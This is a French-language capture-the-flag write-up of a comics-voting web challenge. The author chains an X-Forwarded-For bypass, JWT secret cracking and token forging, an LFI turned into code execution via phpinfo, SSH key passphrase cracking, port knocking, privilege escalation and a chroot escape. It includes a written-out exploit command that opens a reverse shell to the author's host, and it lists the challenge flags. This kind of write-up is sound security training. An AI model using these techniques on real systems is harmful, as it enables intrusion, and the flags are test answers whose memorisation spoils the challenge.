Cette année, Advens propose un challenge pour la RootedCon. Mes collègues me l’ont envoyé en avance afin de le tester.
Au moment où j’ai reçu le challenge l’énoncé était clair : voici l’ip. Je commence donc par une première phase d’analyse de l’application pour voir ce qui est proposé.
Reconnaissance :
L’application propose un formulaire d’enregistrement / connexion. Un captcha est présent, celui-ci est suffisamment robuste pour ne pas faire partie du challenge. Je crée donc un compte utilisateur pour accéder à l’application.
J’arrive ensuite sur une interface utilisateur qui permet de visualiser des pochettes de comics et de voter pour notre préféré.
Un message de l’administrateur indique qu’aucun bruteforce n’est nécessaire.
En regardant bien le code source de l’application, je repère la présence d’un lien commenté.
Celui-ci permet d’accéder à l’interface « admin ». Cependant, celle-ci nécessite une authentification.
Enfin, une page « phpinfo.php » semble accessible, mais restreinte à une IP spécifique.
L’accès à cette interface peut se faire en ajoutant un header « X-Forwarded-For ».
J’obtiens donc un accès à l’interface phpinfo.php.
Accès admin
Une fois authentifié en simple utilisateur, je reçois un cookie de session contenant un JWT. Après analyse dans jwt.io, je constate que le JWT est chiffré de manière symétrique à l’aide d’un mot de passe.
Celui-ci contient une date d’expiration et un nom d’utilisateur.
Recherche de la clef
Pour obtenir la clef j’utilise l’outil JWT-Cracker.
Je peux alors forger un nouveau JWT en modifiant le nom d’utilisateur par « admin » et ainsi obtenir un accès sur l’interface.
Reverse Shell
L’interface d’administration propose de modifier les informations sur les éléments affichés sur l’interface principale et de consulter un fichier de logs.
Pour cela, une requête POST est envoyé contenant un paramètre « file ».
Remplacer « logs.txt » par une valeur vide permet de mettre en évidence une vulnérabilité LFI.
Cependant, un filtre est présent sur le paramètre file et remplace l’ensemble des « / » par une chaine vide. Après avoir tenté de nombreux encodage j’abandonne cette technique.
À ce moment-là un état des lieux s’impose :
- LFI permettant de lire un fichier dans /tmp
- Accès PHPInfo
À partir de ces accès, un scénario de compromission existe : LFI2RCE via PHPInfo
En résumé, la page phpinfo peut être utilisée pour envoyer un fichier qui sera stocké de manière temporaire dans /tmp juste le temps que le serveur se rende compte qu’il n’a pas besoin du fichier et le supprime.
Ainsi si en parallèle, il est possible de contacter ce fichier via une autre vulnérabilité celui-ci peut être exécuté.
Et c’est pile le cas dans lequel nous sommes !
Il existe plusieurs codes d’exploitation pour cette vulnérabilité, cependant aucun d’entre eux ne prend en compte le scénario proposé, il faudra alors modifier l’exploit pour le rendre compatible avec le challenge.
https://github.com/takabaya-shi/LFI2RCE ;
https://github.com/roughiz/lfito_rce
python lfito_rce.py --payload 1 -l 'http://164.90.211.116:8000/marvel-admin.php' --lhost remoteserver --lport 1234 -i 'http://164.90.211.116:8000/phpinfo.php' -t 1
Pour le débug, j’utilise un proxy Burp pour l’ensemble des requêtes afin de voir l’exécution pas à pas.
Une fois l’exploit passé, j’obtiens un shell.
Je dispose des droits de l’utilisateur « www-data »
Le flag de cette partie peut être obtenu dans le fichier functions.php
Privesc
À partir du shell obtenu, je peux me balader sur le système. Je découvre alors un fichier clef ssh.
Ainsi qu’un message dans /tmp/notes.txt
Je comprends alors que la clef ssh appartient à l’utilisateur « drstrange » et qu’il s’agit de la prochaine étape du challenge.
Cette clef est protégée par une passphrase, pour l’obtenir, il existe un script « ssh2john.py » qui permet de convertir la clef vers un format « exploitable » par John the ripper.
Dans les versions présentes dans les dépôts des différentes distributions, john est incapable d’attaquer la clef proposée. Il faut utiliser la version présente sur le github du projet (je vous passe l’étape du ./configure && make )
Une fois recompilé, j’envoie rockyou.txt et j’attends mon mot de passe.
J’obtiens alors un accès sur une interface SSH, mais celle-ci n’est pas interactive.
Le message affiché laisse entendre qu’il va falloir faire du port knocking sur différents ports :
Pour cela, le binaire « knockd » peut être utilisé :
Puis il suffit de se connecter sur le port 2222 :
J’obtiens un accès utilisateur, une rapide recherche des droits permettent de repérer l’utilisation d’un GTFOBin :
J’obtiens ainsi un accès root sur le serveur.
Got root ?
Le flag récupérable à la racine indique que je n’ai pas encore les droits maximums sur la machine.
Un utilisateur root qui n’est pas root sur sa machine ? peut être un chroot !
Le fichier .bashrc trahis en effet l’utilisation de ce procédé.
Pour sortir de cet environnement cloisonné, j’utilise chw00t. La machine distante ne disposant pas de binaires permettant de télécharger du contenu, et la connexion SCP étant peu stable à cause du port knocking j’ai décidé de compiler le binaire sur ma machine, de l’encoder en base64, copier / coller et de le décoder sur la machine cilbe.
Conclusion
Ce challenge m’a permis de jouer avec la vulnérabilité lfi2rce via phpinfo et de découvrir l’outil chw00t. Ayant fait ce challenge en dehors de la compétition, je ne peux pas parler de celle-ci.
Un grand merci à mes collègues espagnols de m’avoir envoyé ce challenge.
Flags :
ADVENS{w17h_GR347_p0w3R_C0m35_GR347_r35P0N5181l17y}
ADVENS{7h3_0N3_4nd_0NLY}
FLAG{DRSr4nG3_RUl3s}
FAKE_FLAG{Not_The_fl4G_Y0uR_Lo0k1nG_FoR}
FLAG{yoUr3R00T}